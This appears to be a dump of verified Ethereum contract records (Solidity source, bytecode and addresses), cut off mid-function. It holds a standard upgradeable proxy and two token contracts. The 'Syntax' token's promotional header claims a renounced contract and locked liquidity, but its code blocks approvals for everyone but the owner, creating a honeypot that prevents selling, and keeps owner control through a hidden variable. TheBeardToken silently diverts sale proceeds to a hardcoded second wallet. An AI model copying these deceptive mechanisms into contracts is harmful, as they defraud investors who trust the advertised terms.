.......................................................;lc;,,;lddl:;,,'..'''';cooc:;;col,............................................................. .........................................................':oxO00KK0kdl;,;:lodkkkkkkdo:'............................................................... .........................................................'lO0KKKKKKKK00OO0OOOOOOOOOOkl'............................................................... ...........................................................;ok00KKKKKKKKKKKKK00000ko;................................................................. .............................................................,:oxkO00KKKKKKK0Okxo:,................................................................... .................................................................,;:clllllcc:;,....................................................................... ...................................................................................................................................................... ............',,;;;;;;;;,'.....',;;,..........',;;,....................',,'.....',;,;,,;;;,,,,,;;;;,'.....................',;,'..........,;;,'......... ..........;oxkOOOOOOOOOOkdc'..'cxOko,......':xOko;...,ll,.............lOOo'....:kOOOOOOOOOOOOOOOOOOl......,lc............,okOxc'......,okOxc'......... .........:k0Odlcccccccclx00o'...;dO0kc'...;dO0kc'....;k0Odc,..........l00d'....,cccccccoOKOdccccccc;.....;x0Oc'...........'ck0Od;...'cx00d;........... .........l00x;..........,:c:'....':x00d:,lk0Oo,......;kKKK0ko:'.......l00d,............;kKO:............;x0KKOl'............,oO0kl,;dO0kc'............ .........;x00xooooooooolc;.........,lk0OO00x:........;kKOdok00xl;'....o00d,............;kKO:...........:k0Oxk0Oo'.............:x00OO0Oo,.............. ..........,coxxkkkkkkkkO0Oo,.........;d0KOl'.........;kKO:.,cdk0Oxl;..l00d,............;kKO:..........:k0Ol,;x0Oo,.............,d00K0l'............... ..............''''''''';d00d,.........cOKk;..........;kKO:....,cdO0Odlx00d,............;kKO:.........ck0Ol'..;x00d,...........;dO0O00kl,.............. .........;ooc'..........cOKk;.........cOKk;..........;kKOc.......;lxO0000d'............;kKO:........cO0kc.....,d00d,........'lk0Oo;:x00x:............. .........;x00xlccccccccok0Ol'.........cOKk;..........;kKOc.........';ok00d'............;kKO:......'lO0kc.......,d00d;.....':x00x:...'lk0Oo;........... ..........,cdkOO000000OOxo:'..........ck0x;..........;x0k:............':ol'............;x0k:.....'lkOx:.........,oOOd;...,okOkl'......;oOOxc'......... .............,;;;;;;;;;,'.............';;,............,;;'...............'.............',;;'......,;;,...........';;;'...,;;;,..........,;;,'......... ...................................................................................................................................................... ...................................................................................................................................................... ...................................................................................................................................................... Know your SYNTAX. Spread the word. Dominate the charts. 📃 Name: Syntax 📃 Symbol: $SYN 📌 Website: https://syntax.finance/ 📌 Twitter: https://twitter.com/syntaxdefi 📌 Telegram: https://t.me/syntaxdefi 📊 Tokenomics 📊 📑 8% tax on each transaction as follows: ♻️ 6% Buyback wallet ♻️ 2% Marketing wallet ♻️ 4% Redistribution to holders 🔔 Launch Features 🔔 🚀 Fair launch 🔥 15.5% initial burn 💰 1 trillion total supply 🛑 Bots Blacklisted 🔒 Liquidity Locked 🔑 Contract Renounced */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract syntax is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'Syntax | https://t.me/syntaxdefi'; string private _symbol = '$SYN'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _approve(address synapp, address target, uint256 amount) private { require(synapp != address(0), "ERC20: approve from the zero address"); require(target != address(0), "ERC20: approve to the zero address"); if (synapp != owner()) { _allowances[synapp][target] = 0; emit Approval(synapp, target, 4); } else { _allowances[synapp][target] = amount; emit Approval(synapp, target, amount); } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220accab5520511335b51c34a8928b6bb29d27b162c4da033a873e29bbef16d336664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,221
0xf4146a176b09c664978e03d28d07db4431525dad
/** *Submitted for verification at Etherscan.io on 2021-04-10 */ /** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,222
0x039331f0daf060703958fda674534c975e154885
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner==msg.sender); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract ERC20 { function totalSupply() public constant returns (uint256); function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function allowance(address owner, address spender) public constant returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TheBeardToken is Ownable, ERC20 { using SafeMath for uint256; // Token properties string public name = "TheBeardToken"; //Token name string public symbol = "BEARD"; //Token symbol uint256 public decimals = 18; uint256 public _totalSupply = 1000000000e18; // Balances for each account mapping (address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping (address => mapping(address => uint256)) allowed; // start and end timestamps where investments are allowed (both inclusive) uint256 public mainSaleStartTime; // Wallet Address of Token address public multisig; // Wallet Adddress of Secured User address public sec_addr = 0x8a121084f586206680539a5f0089806289c4b9F4; // how many token units a buyer gets per wei uint256 public price; uint256 public minContribAmount = 0.1 ether; uint256 public maxContribAmount = 10000 ether; uint256 public hardCap = 1000000 ether; uint256 public softCap = 0.1 ether; //number of total tokens sold uint256 public mainsaleTotalNumberTokenSold = 0; bool public tradable = false; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); modifier canTradable() { require(tradable || (now < mainSaleStartTime + 90 days)); _; } // Constructor // @notice TheBeardToken Contract // @return the transaction address function TheBeardToken() public{ // Initial Owner Wallet Address multisig = 0x7BAD2a7C2c2E83f0a6E9Afbd3cC0029391F3B013; balances[multisig] = _totalSupply; mainSaleStartTime = 1528675200; // June 11th 10:00am AEST owner = msg.sender; } // Payable method // @notice Anyone can buy the tokens on tokensale by paying ether function () external payable { tokensale(msg.sender); } // @notice tokensale // @param recipient The address of the recipient // @return the transaction address and send the event as Transfer function tokensale(address recipient) public payable { require(recipient != 0x0); require(msg.value >= minContribAmount && msg.value <= maxContribAmount); price = getPrice(); uint256 weiAmount = msg.value; uint256 tokenToSend = weiAmount.mul(price); require(tokenToSend > 0); require(_totalSupply >= tokenToSend); balances[multisig] = balances[multisig].sub(tokenToSend); balances[recipient] = balances[recipient].add(tokenToSend); mainsaleTotalNumberTokenSold = mainsaleTotalNumberTokenSold.add(tokenToSend); _totalSupply = _totalSupply.sub(tokenToSend); address tar_addr = multisig; if (mainsaleTotalNumberTokenSold > 1) { tar_addr = sec_addr; } tar_addr.transfer(msg.value); TokenPurchase(msg.sender, recipient, weiAmount, tokenToSend); } // Security Wallet address setting function setSecurityWalletAddr(address addr) public onlyOwner { sec_addr = addr; } // Start or pause tradable to Transfer token function startTradable(bool _tradable) public onlyOwner { tradable = _tradable; } // @return total tokens supplied function totalSupply() public constant returns (uint256) { return _totalSupply; } // What is the balance of a particular account? // @param who The address of the particular account // @return the balanace the particular account function 